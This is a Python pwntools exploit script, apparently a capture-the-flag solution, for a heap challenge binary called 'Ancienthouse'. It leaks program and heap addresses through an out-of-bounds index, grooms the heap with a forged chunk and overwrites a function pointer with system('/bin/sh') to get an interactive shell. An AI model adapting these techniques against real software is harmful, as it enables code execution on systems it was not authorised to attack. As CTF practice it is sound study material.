1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| from pwn import *
p = process("./Ancienthouse") elf = ELF("./Ancienthouse")
def add(size,name): p.sendlineafter(">> ",str(1)) p.sendlineafter("Enter the size : ",str(size)) p.sendlineafter("Enter name : ",name)
def battle(id): p.sendlineafter(">> ",str(2)) p.sendlineafter("Enter enemy id : ",str(id))
def merge(id1,id2): p.sendlineafter(">> ",str(3)) p.sendlineafter("[+] Enemy id 1: ",str(id1)) p.sendlineafter("[+] Enemy id 2: ",str(id2))
def kill(id): for i in range(7): battle(id) p.sendline(str(1))
def fun(): p.sendlineafter(">> ",str(4))
p.sendline("yhellow")
battle(-7)
p.recvuntil("Starting battle with ") leak_addr = u64(p.recvuntil(" ....")[:-5].ljust(8,"\x00")) pro_base = leak_addr-0x4008
success("leak_addr >> "+hex(leak_addr)) success("pro_base >> "+hex(pro_base)) success("chunk_list >> "+hex(pro_base+0x4040))
p.sendlineafter("You beat 'em!\n",str(2))
add(0x60, '1' * 0x20) add(0x60, '2' * 0x20)
kill(0) kill(1) add(0x20, '') battle(2)
p.recvuntil("Starting battle with ") leak_addr = u64(p.recvuntil(" ....")[:-5].ljust(8,"\x00")) heap_base = leak_addr - 0xb00a success("leak_addr >> "+hex(leak_addr)) success("heap_base >> "+hex(heap_base))
for i in range(6): battle(2)
p.sendlineafter("You beat 'em!\n",str(1))
for i in range(61): add(0x40, 'a'*0x40)
add(0x20, '/bin/sh\x00') binsh = heap_base + 0xa800 payload = p64(0x384adf93)+p64(heap_base+0x800d70)+p64(0x0000003200000001)+p64(0x0003ffffffffffff)
add(0x20, '1' * 0x20) add(0x20, payload) add(0x20, '3' * 0x20) kill(65) kill(66)
add(0x70, 'k' * 0x60)
add(0x20, '1' * 0x20)
merge(67, 69)
system = pro_base + 0x1170 paylaod = p64(system) + p64(binsh) add(0x50, paylaod)
p.sendline(str(4))
p.interactive()
|